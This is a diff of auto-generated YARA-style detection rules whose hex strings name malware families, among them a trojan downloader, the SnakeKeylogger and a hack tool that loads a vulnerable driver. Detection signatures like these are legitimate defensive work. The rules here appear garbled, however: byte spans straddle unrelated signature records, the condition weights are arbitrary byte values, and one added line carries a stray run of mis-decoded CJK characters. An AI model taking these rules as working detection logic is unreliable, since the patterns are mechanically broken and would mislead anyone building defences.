04 00 05 00 21 " @@ -362060,7 +384721,7 @@ rule _InfrastructureShared_27777{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25903+(#a_01_3 & 1)*19224+(#a_01_4 & 1)*29811) >=4 } -rule _InfrastructureShared_27778{ +rule _InfrastructureShared_29515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -362077,7 +384738,7 @@ rule _InfrastructureShared_27778{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26383+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*9728+(#a_01_4 & 1)*14930+(#a_01_5 & 1)*20340+(#a_01_6 & 1)*17236+(#a_01_7 & 1)*21792) >=9 } -rule _InfrastructureShared_27779{ +rule _InfrastructureShared_29516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 21 " @@ -362087,7 +384748,7 @@ rule _InfrastructureShared_27779{ ((#a_01_0 & 1)*16675) >=12 } -rule _InfrastructureShared_27780{ +rule _InfrastructureShared_29517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 07 00 21 " @@ -362103,7 +384764,7 @@ rule _InfrastructureShared_27780{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=16 } -rule _InfrastructureShared_27781{ +rule _InfrastructureShared_29518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -362115,7 +384776,7 @@ rule _InfrastructureShared_27781{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*26967+(#a_01_4 & 1)*107) >=30 } -rule _InfrastructureShared_27782{ +rule _InfrastructureShared_29519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -362125,7 +384786,7 @@ rule _InfrastructureShared_27782{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27783{ +rule _InfrastructureShared_29520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 0a 00 21 " @@ -362133,17 +384794,17 @@ rule _InfrastructureShared_27783{ $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 4e 75 77 61 72 2e 65 6e 63 00 01 00 0f 58 8b 00 6a 00 6a 00 ff 10 5a 59 c9 c2 0c 00 01 00 0c 00 58 8b 00 6a 00 6a 00 6a 00 ff 10 01 00 09 58 8b 00 6a 00 6a 00 ff 10 01 00 0b 58 8b 00 6a 00 6a 00 6a 00 ff 10 01 00 08 c3 51 } //18467 $a_01_1 = {00 00 00 01 } //-6062 $a_01_2 = {e8 04 00 00 00 01 00 0a 00 00 6a 00 6a 00 6a ff ff 14 01 00 05 e8 00 00 00 00 01 00 09 6a 00 54 54 6a ff ff 14 1a 01 00 0e c7 45 f8 00 00 00 00 c7 45 fc 00 00 00 00 00 00 61 a0 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4d 61 6c 75 73 68 6b 61 2e 44 00 01 00 0f 67 65 74 20 25 73 20 68 74 74 70 2f 31 2e 30 01 00 10 53 65 44 65 62 75 67 50 72 69 76 69 6c 65 67 65 01 00 14 60 31 db 89 5d fc 8b 75 08 03 76 3c 8b 06 3d 50 45 00 00 0f 01 00 0d fc f3 a4 c7 07 2e 24 24 24 c6 47 04 00 01 00 11 4f c7 07 31 2e 68 74 83 } //1536 - $a_01_3 = {07 6d 6c 00 00 56 01 00 0c f3 a4 c7 07 2e 6c 6e 6b c6 47 04 00 00 00 61 a0 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 61 72 77 69 63 6b 2e 41 2e 64 6c 6c 21 64 68 61 00 01 00 0d 53 65 72 76 65 72 44 6c 6c 2e 64 6c 6c 01 00 0a 77 70 72 6f 78 79 2d 66 64 68 01 00 04 4e 6f 49 50 01 00 06 4e 6f 4e 61 6d 65 01 00 14 5a 32 56 30 61 47 39 7a 64 47 4a 35 62 6d 46 74 5a 51 3d 3d 01 00 1d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 01 00 0b 65 62 76 69 33 30 37 2e 62 61 74 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 } //1223 - $a_01_4 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 64 75 61 74 63 6b 2e 52 53 21 4d 54 42 00 01 00 11 4b 44 55 53 65 74 75 70 53 68 65 6c 6c 43 6f 64 65 01 00 0c 4b 44 55 4d 61 70 44 72 69 76 65 72 01 00 11 56 } //19521 - $a_01_5 = {65 72 61 62 6c 65 20 64 72 69 76 65 72 01 00 18 45 78 74 72 61 63 74 69 6e 67 20 76 69 63 74 69 6d 20 64 72 69 76 65 72 01 00 0b 6b 64 75 20 2d 70 73 20 70 69 64 01 00 11 6b 64 75 20 2d 6d 61 70 20 66 69 6c 65 6e 61 6d 65 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e } //27765 - $a_01_6 = {53 61 6b 75 6c 61 21 64 68 61 00 01 00 06 25 54 45 4d 50 25 01 00 0a 25 73 5c 25 73 25 64 2e 25 73 01 00 2c 49 00 6e 00 73 00 74 00 61 00 6c } //12851 - $a_01_8 = {00 67 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 2e 00 2e 00 2e 00 01 00 0a 68 68 63 74 72 6c 2e 6f 63 78 01 00 0e 4e 6f 74 69 66 79 57 69 6e 45 76 65 6e 74 01 00 0c 47 65 74 54 69 63 6b 43 6f 75 6e 74 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 4c 6f 77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 } //105 - $a_01_9 = {65 6e 43 61 6e 64 79 00 01 00 0e 6d 70 33 5f 73 61 6d 70 6c 65 72 61 74 65 01 00 10 2e 3f 61 76 63 63 6f 6e 64 69 74 69 6f 6e 40 40 01 00 1a 73 00 65 00 61 00 72 00 63 00 68 00 70 00 6c 00 75 00 67 00 69 00 6e 00 73 00 01 00 12 73 65 74 5f 64 6f 77 6e 6c 6f 61 64 65 64 66 69 6c 65 01 00 0b 66 72 6f 6d 79 6f 75 74 75 62 65 01 00 0c 63 } //20282 + $a_01_3 = {07 6d 6c 00 00 56 01 00 0c f3 a4 c7 07 2e 6c 6e 6b c6 47 04 00 00 00 61 a0 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 61 72 77 69 63 6b 2e 41 2e 64 6c 6c 21 64 68 61 00 01 00 0d 53 65 72 76 65 72 44 6c 6c 2e 64 6c 6c 01 00 0a 77 70 72 6f 78 79 2d 66 64 68 01 00 04 4e 6f 49 50 01 00 06 4e 6f 4e 61 6d 65 01 00 14 5a 32 56 30 61 47 39 7a 64 47 4a 35 62 6d 46 74 5a 51 3d 3d 01 00 1d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 01 00 0b 65 62 76 69 33 30 37 2e 62 61 74 00 00 61 a0 00 00 05 00 05 00 05 00 21 23 } //1223 + $a_01_4 = {52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 4c 4f 35 37 00 01 00 25 24 43 32 38 35 42 39 34 37 2d 41 36 33 44 2d 34 46 43 38 2d 42 43 31 37 2d 45 39 41 34 46 31 44 37 38 32 43 30 01 00 12 41 6c 61 72 6d 65 } //21320 㩒牔橯湡䴺䥓⽌湓歡䭥祥潬杧牥匮佌㜵Ā─䌤㠲䈵㐹ⴷ㙁䐳㐭䍆ⴸ䍂㜱䔭䄹䘴䐱㠷䌲İሀ汁牡敭 + $a_01_5 = {72 6f 70 65 72 74 69 65 73 01 00 06 42 69 74 6d 61 70 01 00 08 47 65 74 50 69 78 65 6c 01 00 1c 41 6c 61 72 6d 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 48 61 } //11890 + $a_01_6 = {6f 6f 6c 3a 57 69 6e 33 32 2f 4b 64 75 61 74 63 6b 2e 52 53 21 4d 54 42 00 01 00 11 4b 44 55 53 65 74 75 70 53 68 65 6c 6c 43 6f 64 65 01 00 0c 4b 44 55 4d 61 70 44 72 69 76 65 72 01 00 11 56 75 6c 6e 65 72 61 62 6c 65 20 64 72 69 76 65 72 01 00 18 45 } //27491 + $a_01_7 = {61 63 74 69 6e 67 20 76 69 63 74 69 6d 20 64 72 69 76 65 72 01 00 0b 6b 64 75 20 2d 70 73 20 70 69 64 01 00 11 6b 64 75 20 2d 6d 61 70 20 66 69 6c 65 6e 61 6d 65 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 61 6b 75 6c 61 21 64 68 61 00 01 00 06 25 54 45 4d 50 25 01 } //29816 + $a_01_8 = {73 5c 25 73 25 64 2e 25 73 01 00 2c 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 69 00 6e 00 67 00 20 00 63 00 6f } //2560 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-6062+(#a_01_2 & 1)*1536+(#a_01_3 & 1)*1223+(#a_01_4 & 1)*19521+(#a_01_5 & 1)*27765+(#a_01_6 & 1)*12851+(#a_01_8 & 1)*105+(#a_01_9 & 1)*20282) >=2 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-6062+(#a_01_2 & 1)*1536+(#a_01_3 & 1)*1223+(#a_01_4 & 1)*21320+(#a_01_5 & 1)*11890+(#a_01_6 & 1)*27491+(#a_01_7 & 1)*29816+(#a_01_8 & 1)*2560) >=2 } -rule _InfrastructureShared_27784{ +rule _InfrastructureShared_29521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -362156,7 +384817,7 @@ rule _InfrastructureShared_27784{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30091+(#a_01_2 & 1)*0+(#a_01_4 & 1)*20241) >=3 } -rule _InfrastructureShared_27785{ +rule _InfrastructureShared_29522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -362164,15 +384825,28 @@ rule _InfrastructureShared_27785{ $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 61 72 77 69 63 6b 2e 41 2e 64 6c 6c 21 64 68 61 00 01 00 0d 53 65 72 76 65 72 44 6c 6c 2e 64 6c 6c 01 00 0a 77 70 72 6f 78 79 2d 66 64 68 01 00 04 4e 6f 49 50 01 00 06 4e 6f 4e 61 6d 65 01 00 14 5a } //18467 $a_01_1 = {61 47 39 7a 64 47 4a 35 62 6d 46 74 5a 51 3d 3d 01 00 1d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 2d 25 30 32 58 } //22066 $a_01_2 = {65 62 76 69 33 30 37 2e 62 61 74 } //1 ebvi307.bat - $a_01_3 = {a0 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 64 75 61 74 63 6b 2e 52 53 21 4d 54 42 00 01 00 11 4b 44 55 53 65 74 75 70 53 68 65 6c 6c 43 6f 64 65 01 00 0c 4b 44 55 4d 61 70 44 72 69 76 65 72 01 00 11 56 75 6c 6e 65 72 61 62 6c 65 20 64 72 69 } //0 - $a_01_4 = {01 00 18 45 78 74 72 61 63 74 69 6e 67 20 76 69 63 74 69 6d 20 64 72 69 76 65 72 01 00 0b 6b 64 75 20 2d 70 73 20 70 69 64 01 00 11 6b 64 75 20 2d 6d 61 70 20 66 69 6c 65 6e 61 6d 65 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 53 61 6b 75 6c 61 21 64 68 61 00 01 00 06 } //25974 - $a_01_5 = {4d 50 25 01 00 0a 25 73 5c 25 73 25 64 2e 25 73 01 00 2c 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 69 00 6e 00 67 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 2e 00 2e 00 2e 00 01 00 0a 68 68 63 } //21541 - $a_01_6 = {2e 6f 63 78 01 00 0e 4e 6f 74 69 66 79 57 69 6e 45 76 65 6e 74 01 00 0c 47 65 74 54 69 63 6b 43 6f 75 6e 74 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 4c 6f 77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 4f 70 65 6e 43 61 6e 64 79 00 01 00 0e 6d 70 33 5f 73 61 6d 70 6c 65 72 61 74 65 01 00 10 2e 3f 61 } //29300 + $a_01_3 = {a0 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 4c 4f 35 37 00 01 00 25 24 43 32 38 35 42 39 34 37 2d 41 36 33 44 2d 34 46 43 38 2d 42 43 31 37 2d 45 39 41 34 46 31 44 37 38 32 43 30 01 00 12 41 6c 61 72 6d } //0 + $a_01_4 = {50 72 6f 70 65 72 74 69 65 73 01 00 06 42 69 74 6d 61 70 01 00 08 47 65 74 50 69 78 65 6c 01 00 1c 41 6c 61 72 6d 65 72 2e 50 72 6f 70 65 } //29285 + $a_01_5 = {65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 64 75 61 74 63 6b 2e 52 53 21 4d 54 42 00 01 00 11 4b 44 55 53 65 74 75 70 53 68 65 6c 6c 43 6f 64 65 01 00 0c 4b 44 55 4d 61 70 44 72 69 76 65 72 01 00 11 56 75 6c 6e 65 72 61 } //29810 + $a_01_6 = {20 64 72 69 76 65 72 01 00 18 45 78 74 72 61 63 74 69 6e 67 20 76 69 63 74 69 6d 20 64 72 69 76 65 72 01 00 0b 6b 64 75 20 2d 70 73 20 70 69 64 01 00 11 6b 64 75 20 2d 6d 61 70 20 66 69 6c 65 6e 61 6d 65 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a } //27746 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22066+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*25974+(#a_01_5 & 1)*21541+(#a_01_6 & 1)*29300) >=4 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22066+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*29285+(#a_01_5 & 1)*29810+(#a_01_6 & 1)*27746) >=4 } -rule _InfrastructureShared_27786{ +rule _InfrastructureShared_29523{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " + + strings : + $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 4c 4f 35 37 00 01 00 25 24 43 32 38 35 42 39 34 37 2d 41 36 33 44 2d 34 46 43 38 2d 42 43 31 37 2d 45 39 41 34 46 31 44 37 38 32 43 30 01 00 12 41 6c 61 72 } //18467 + $a_01_1 = {2e 50 72 6f 70 65 72 74 69 65 73 01 00 06 42 69 74 6d 61 70 01 00 08 47 65 74 50 69 78 65 6c 01 00 1c 41 6c 61 72 6d 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 61 a0 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 64 75 61 74 63 6b 2e 52 53 21 4d 54 42 00 01 00 11 4b } //25965 + $a_01_2 = {65 74 75 70 53 68 65 6c 6c 43 6f 64 65 01 00 0c 4b 44 55 4d 61 70 44 72 69 76 65 72 01 00 11 56 75 6c 6e 65 72 61 62 6c 65 20 64 72 69 76 65 72 01 00 18 45 78 74 72 61 63 74 69 6e 67 20 76 69 63 74 69 6d 20 64 72 69 76 65 72 01 00 0b 6b 64 75 20 2d } //21828 + $a_01_3 = {70 69 64 01 00 11 6b 64 75 20 2d 6d 61 70 20 66 69 6c 65 6e 61 6d 65 00 00 61 a0 00 00 06 00 06 } //29552 + condition: + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25965+(#a_01_2 & 1)*21828+(#a_01_3 & 1)*29552) >=5 + +} +rule _InfrastructureShared_29524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -362187,7 +384861,7 @@ rule _InfrastructureShared_27786{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25185+(#a_01_2 & 1)*24915+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0+(#a_01_5 & 1)*112) >=6 } -rule _InfrastructureShared_27787{ +rule _InfrastructureShared_29525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -362199,7 +384873,7 @@ rule _InfrastructureShared_27787{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*111+(#a_01_3 & 1)*27918) >=6 } -rule _InfrastructureShared_27788{ +rule _InfrastructureShared_29526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -362213,7 +384887,7 @@ rule _InfrastructureShared_27788{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*25697+(#a_01_2 & 1)*13166+(#a_01_4 & 1)*21008+(#a_01_5 & 1)*-390) >=6 } -rule _InfrastructureShared_27789{ +rule _InfrastructureShared_29527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -362229,7 +384903,7 @@ rule _InfrastructureShared_27789{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21004+(#a_01_2 & 1)*8516+(#a_01_3 & 1)*-422+(#a_01_5 & 1)*25363+(#a_01_6 & 1)*8209+(#a_01_7 & 1)*16954) >=17 } -rule _InfrastructureShared_27790{ +rule _InfrastructureShared_29528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -362240,7 +384914,7 @@ rule _InfrastructureShared_27790{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*22797) >=20 } -rule _InfrastructureShared_27791{ +rule _InfrastructureShared_29529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,2a 00 2a 00 06 00 21 " @@ -362255,7 +384929,7 @@ rule _InfrastructureShared_27791{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21101+(#a_01_2 & 1)*0+(#a_01_3 & 1)*28265+(#a_01_4 & 1)*16748+(#a_01_5 & 1)*0) >=42 } -rule _InfrastructureShared_27792{ +rule _InfrastructureShared_29530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -362266,7 +384940,7 @@ rule _InfrastructureShared_27792{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*29813) >=1 } -rule _InfrastructureShared_27793{ +rule _InfrastructureShared_29531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 08 00 21 " @@ -362283,7 +384957,7 @@ rule _InfrastructureShared_27793{ ((#a_01_0 & 1)*12067+(#a_01_1 & 1)*4608+(#a_01_2 & 1)*29811+(#a_01_3 & 1)*21349+(#a_01_4 & 1)*24936+(#a_01_5 & 1)*10752+(#a_01_6 & 1)*3840+(#a_01_7 & 1)*23578) >=1 } -rule _InfrastructureShared_27794{ +rule _InfrastructureShared_29532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -362295,7 +384969,7 @@ rule _InfrastructureShared_27794{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28757+(#a_01_2 & 1)*27753) >=3 } -rule _InfrastructureShared_27795{ +rule _InfrastructureShared_29533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -362308,7 +384982,7 @@ rule _InfrastructureShared_27795{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*9530+(#a_01_2 & 1)*24909+(#a_01_3 & 1)*21320) >=3 } -rule _InfrastructureShared_27796{ +rule _InfrastructureShared_29534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -362322,7 +384996,7 @@ rule _InfrastructureShared_27796{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24944+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_27797{ +rule _InfrastructureShared_29535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -362335,7 +385009,7 @@ rule _InfrastructureShared_27797{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*117+(#a_01_3 & 1)*8264+(#a_01_4 & 1)*30821) >=5 } -rule _InfrastructureShared_27798{ +rule _InfrastructureShared_29536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -362349,7 +385023,7 @@ rule _InfrastructureShared_27798{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*22085+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=7 } -rule _InfrastructureShared_27799{ +rule _InfrastructureShared_29537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -362364,7 +385038,7 @@ rule _InfrastructureShared_27799{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_01_3 & 1)*17419+(#a_01_4 & 1)*28537+(#a_01_5 & 1)*14649+(#a_01_6 & 1)*31347) >=8 } -rule _InfrastructureShared_27800{ +rule _InfrastructureShared_29538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -362380,7 +385054,7 @@ rule _InfrastructureShared_27800{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29557+(#a_01_2 & 1)*29305+(#a_01_3 & 1)*28498+(#a_01_4 & 1)*21258+(#a_01_5 & 1)*27247+(#a_01_6 & 1)*8251) >=8 } -rule _InfrastructureShared_27801{ +rule _InfrastructureShared_29539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 05 00 21 " @@ -362394,7 +385068,7 @@ rule _InfrastructureShared_27801{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*21334+(#a_01_2 & 1)*24940+(#a_01_3 & 1)*13620+(#a_01_4 & 1)*1) >=11 } -rule _InfrastructureShared_27802{ +rule _InfrastructureShared_29540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 09 00 21 " @@ -362411,7 +385085,7 @@ rule _InfrastructureShared_27802{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*21261+(#a_01_3 & 1)*27494+(#a_01_4 & 1)*11828+(#a_01_5 & 1)*46+(#a_01_6 & 1)*29551+(#a_01_7 & 1)*67+(#a_01_8 & 1)*29242) >=18 } -rule _InfrastructureShared_27803{ +rule _InfrastructureShared_29541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 04 00 21 " @@ -362424,7 +385098,7 @@ rule _InfrastructureShared_27803{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24948+(#a_01_2 & 1)*12590+(#a_01_3 & 1)*46) >=21 } -rule _InfrastructureShared_27804{ +rule _InfrastructureShared_29542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -362437,7 +385111,7 @@ rule _InfrastructureShared_27804{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*71+(#a_01_2 & 1)*30+(#a_01_3 & 1)*104) >=30 } -rule _InfrastructureShared_27805{ +rule _InfrastructureShared_29543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -362449,7 +385123,7 @@ rule _InfrastructureShared_27805{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*104+(#a_01_2 & 1)*25902) >=30 } -rule _InfrastructureShared_27806{ +rule _InfrastructureShared_29544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -362462,7 +385136,7 @@ rule _InfrastructureShared_27806{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*27756+(#a_01_2 & 1)*95+(#a_01_3 & 1)*111) >=30 } -rule _InfrastructureShared_27807{ +rule _InfrastructureShared_29545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -362475,7 +385149,7 @@ rule _InfrastructureShared_27807{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*10240+(#a_01_2 & 1)*8448+(#a_01_3 & 1)*28265) >=30 } -rule _InfrastructureShared_27808{ +rule _InfrastructureShared_29546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,36 01 36 01 05 00 21 " @@ -362487,7 +385161,7 @@ rule _InfrastructureShared_27808{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*114+(#a_01_4 & 1)*-29440) >=310 } -rule _InfrastructureShared_27809{ +rule _InfrastructureShared_29547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -362498,7 +385172,7 @@ rule _InfrastructureShared_27809{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-29861) >=1 } -rule _InfrastructureShared_27810{ +rule _InfrastructureShared_29548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -362511,7 +385185,7 @@ rule _InfrastructureShared_27810{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*23655+(#a_01_2 & 1)*14336+(#a_01_3 & 1)*97) >=1 } -rule _InfrastructureShared_27811{ +rule _InfrastructureShared_29549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -362521,7 +385195,7 @@ rule _InfrastructureShared_27811{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27812{ +rule _InfrastructureShared_29550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -362535,7 +385209,7 @@ rule _InfrastructureShared_27812{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24948+(#a_01_2 & 1)*25957+(#a_01_3 & 1)*25970+(#a_01_5 & 1)*14860) >=4 } -rule _InfrastructureShared_27813{ +rule _InfrastructureShared_29551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -362549,7 +385223,7 @@ rule _InfrastructureShared_27813{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28277+(#a_01_2 & 1)*21611+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_27814{ +rule _InfrastructureShared_29552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -362564,7 +385238,7 @@ rule _InfrastructureShared_27814{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0) >=5 } -rule _InfrastructureShared_27815{ +rule _InfrastructureShared_29553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -362579,7 +385253,7 @@ rule _InfrastructureShared_27815{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*24933+(#a_01_5 & 1)*110) >=6 } -rule _InfrastructureShared_27816{ +rule _InfrastructureShared_29554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -362593,7 +385267,7 @@ rule _InfrastructureShared_27816{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*25931+(#a_01_3 & 1)*16230+(#a_01_6 & 1)*97) >=7 } -rule _InfrastructureShared_27817{ +rule _InfrastructureShared_29555{ meta: description = 